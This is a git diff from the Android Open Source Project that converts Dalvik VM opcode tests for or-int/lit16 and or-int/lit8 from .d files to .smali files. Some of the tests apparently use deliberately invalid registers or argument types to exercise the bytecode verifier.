@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_or_int_lit16_5.java"
+.class  public Ldot/junit/opcodes/or_int_lit16/d/T_or_int_lit16_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 8
+
+       or-int/lit16 v0, v7, 32767
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_lit16/d/T_or_int_lit16_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_lit16/d/T_or_int_lit16_6.d
deleted file mode 100644
index 539491a..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_lit16/d/T_or_int_lit16_6.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_or_int_lit16_6.java
-.class public dot.junit.opcodes.or_int_lit16.d.T_or_int_lit16_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)I
-.limit regs 8
-
-       or-int/lit16 v0, v8, 8
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_lit16/d/T_or_int_lit16_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_lit16/d/T_or_int_lit16_6.smali
new file mode 100644
index 0000000..fb89360
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_lit16/d/T_or_int_lit16_6.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_or_int_lit16_6.java"
+.class  public Ldot/junit/opcodes/or_int_lit16/d/T_or_int_lit16_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 8
+
+       or-int/lit16 v0, v8, 8
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_lit16/d/T_or_int_lit16_7.d b/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_lit16/d/T_or_int_lit16_7.d
deleted file mode 100644
index 1e28c75..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_lit16/d/T_or_int_lit16_7.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_or_int_lit16_7.java
-.class public dot.junit.opcodes.or_int_lit16.d.T_or_int_lit16_7
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(D)I
-.limit regs 8
-
-       or-int/lit16 v0, v6, 10
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_lit16/d/T_or_int_lit16_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_lit16/d/T_or_int_lit16_7.smali
new file mode 100644
index 0000000..01fc069
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_lit16/d/T_or_int_lit16_7.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_or_int_lit16_7.java"
+.class  public Ldot/junit/opcodes/or_int_lit16/d/T_or_int_lit16_7;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(D)I
+.registers 8
+
+       or-int/lit16 v0, v6, 10
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_lit16/d/T_or_int_lit16_8.d b/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_lit16/d/T_or_int_lit16_8.d
deleted file mode 100644
index 42150a1..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_lit16/d/T_or_int_lit16_8.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_or_int_lit16_8.java
-.class public dot.junit.opcodes.or_int_lit16.d.T_or_int_lit16_8
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(J)I
-.limit regs 8
-
-       or-int/lit16 v0, v6, 10
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_lit16/d/T_or_int_lit16_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_lit16/d/T_or_int_lit16_8.smali
new file mode 100644
index 0000000..8b3116c
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_lit16/d/T_or_int_lit16_8.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_or_int_lit16_8.java"
+.class  public Ldot/junit/opcodes/or_int_lit16/d/T_or_int_lit16_8;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(J)I
+.registers 8
+
+       or-int/lit16 v0, v6, 10
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_lit16/d/T_or_int_lit16_9.d b/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_lit16/d/T_or_int_lit16_9.d
deleted file mode 100644
index a810f2d..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_lit16/d/T_or_int_lit16_9.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_or_int_lit16_9.java
-.class public dot.junit.opcodes.or_int_lit16.d.T_or_int_lit16_9
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)I
-.limit regs 8
-
-       or-int/lit16 v0, v6, 10
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_lit16/d/T_or_int_lit16_9.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_lit16/d/T_or_int_lit16_9.smali
new file mode 100644
index 0000000..23eb356
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_lit16/d/T_or_int_lit16_9.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_or_int_lit16_9.java"
+.class  public Ldot/junit/opcodes/or_int_lit16/d/T_or_int_lit16_9;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 8
+
+       or-int/lit16 v0, v6, 10
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_lit8/d/T_or_int_lit8_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_lit8/d/T_or_int_lit8_1.d
deleted file mode 100644
index 71967f6..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_lit8/d/T_or_int_lit8_1.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_or_int_lit8_1.java
-.class public dot.junit.opcodes.or_int_lit8.d.T_or_int_lit8_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)I
-.limit regs 8
-
-       or-int/lit8 v0, v7, 8
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_lit8/d/T_or_int_lit8_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_lit8/d/T_or_int_lit8_1.smali
new file mode 100644
index 0000000..c8c19db
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_lit8/d/T_or_int_lit8_1.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_or_int_lit8_1.java"
+.class  public Ldot/junit/opcodes/or_int_lit8/d/T_or_int_lit8_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 8
+
+       or-int/lit8 v0, v7, 8
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_lit8/d/T_or_int_lit8_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_lit8/d/T_or_int_lit8_2.d
deleted file mode 100644
index 44143ff..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_lit8/d/T_or_int_lit8_2.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_or_int_lit8_2.java
-.class public dot.junit.opcodes.or_int_lit8.d.T_or_int_lit8_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)I
-.limit regs 8
-
-       or-int/lit8 v0, v7, 0x7f
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_lit8/d/T_or_int_lit8_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_lit8/d/T_or_int_lit8_2.smali
new file mode 100644
index 0000000..66b9469
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_lit8/d/T_or_int_lit8_2.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_or_int_lit8_2.java"
+.class  public Ldot/junit/opcodes/or_int_lit8/d/T_or_int_lit8_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 8
+
+       or-int/lit8 v0, v7, 0x7f
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_lit8/d/T_or_int_lit8_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_lit8/d/T_or_int_lit8_3.d
deleted file mode 100644
index 9039138..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_lit8/d/T_or_int_lit8_3.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_or_int_lit8_3.java
-.class public dot.junit.opcodes.or_int_lit8.d.T_or_int_lit8_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)I
-.limit regs 8
-
-       or-int/lit8 v0, v7, -1
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_lit8/d/T_or_int_lit8_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_lit8/d/T_or_int_lit8_3.smali
new file mode 100644
index 0000000..971b6b4
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_lit8/d/T_or_int_lit8_3.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_or_int_lit8_3.java"
+.class  public Ldot/junit/opcodes/or_int_lit8/d/T_or_int_lit8_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 8
+
+       or-int/lit8 v0, v7, -1
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_lit8/d/T_or_int_lit8_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_lit8/d/T_or_int_lit8_4.d
deleted file mode 100644
index 6e07519..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_lit8/d/T_or_int_lit8_4.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_or_int_lit8_4.java
-.class public dot.junit.opcodes.or_int_lit8.d.T_or_int_lit8_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(F)I
-.limit regs 8
-
-       or-int/lit8 v0, v7, 15
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_lit8/d/T_or_int_lit8_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_lit8/d/T_or_int_lit8_4.smali
new file mode 100644
index 0000000..e3b3ad6
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_lit8/d/T_or_int_lit8_4.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_or_int_lit8_4.java"
+.class  public Ldot/junit/opcodes/or_int_lit8/d/T_or_int_lit8_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(F)I
+.registers 8
+
+       or-int/lit8 v0, v7, 15
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_lit8/d/T_or_int_lit8_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_lit8/d/T_or_int_lit8_5.d
deleted file mode 100644
index c765b57..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_lit8/d/T_or_int_lit8_5.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_or_int_lit8_5.java
-.class public dot.junit.opcodes.or_int_lit8.d.T_or_int_lit8_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)I
-.limit regs 8
-
-       or-int/lit8 v0, v7, 127
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_lit8/d/T_or_int_lit8_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_lit8/d/T_or_int_lit8_5.smali
new file mode 100644
index 0000000..649f9d6
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_lit8/d/T_or_int_lit8_5.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_or_int_lit8_5.java"
+.class  public Ldot/junit/opcodes/or_int_lit8/d/T_or_int_lit8_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 8
+
+       or-int/lit8 v0, v7, 127
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_lit8/d/T_or_int_lit8_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_lit8/d/T_or_int_lit8_6.d
deleted file mode 100644
index 3a70209..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_lit8/d/T_or_int_lit8_6.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_or_int_lit8_6.java
-.class public dot.junit.opcodes.or_int_lit8.d.T_or_int_lit8_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)I
-.limit regs 8
-
-       or-int/lit8 v0, v8, 10
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_lit8/d/T_or_int_lit8_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_lit8/d/T_or_int_lit8_6.smali
new file mode 100644
index 0000000..7d29856
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_lit8/d/T_or_int_lit8_6.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_or_int_lit8_6.java"
+.class  public Ldot/junit/opcodes/or_int_lit8/d/T_or_int_lit8_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 8
+
+       or-int/lit8 v0, v8, 10
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_lit8/d/T_or_int_lit8_7.d b/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_lit8/d/T_or_int_lit8_7.d
deleted file mode 100644
index 8040a0e..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_lit8/d/T_or_int_lit8_7.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_or_int_lit8_7.java
-.class public dot.junit.opcodes.or_int_lit8.d.T_or_int_lit8_7
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(D)I
-.limit regs 8
-
-       or-int/lit8 v0, v6, 10
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_lit8/d/T_or_int_lit8_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_lit8/d/T_or_int_lit8_7.smali
new file mode 100644
index 0000000..83af7dd
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_lit8/d/T_or_int_lit8_7.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_or_int_lit8_7.java"
+.class  public Ldot/junit/opcodes/or_int_lit8/d/T_or_int_lit8_7;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(D)I
+.registers 8
+
+       or-int/lit8 v0, v6, 10
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_lit8/d/T_or_int_lit8_8.d b/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_lit8/d/T_or_int_lit8_8.d
deleted file mode 100644
index e0b4801..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_lit8/d/T_or_int_lit8_8.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_or_int_lit8_8.java
-.class public dot.junit.opcodes.or_int_lit8.d.T_or_int_lit8_8
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(J)I
-.limit regs 8
-
-       or-int/lit8 v0, v6, 10
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_lit8/d/T_or_int_lit8_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_lit8/d/T_or_int_lit8_8.smali
new file mode 100644
index 0000000..d3c52ea
--- /dev/null
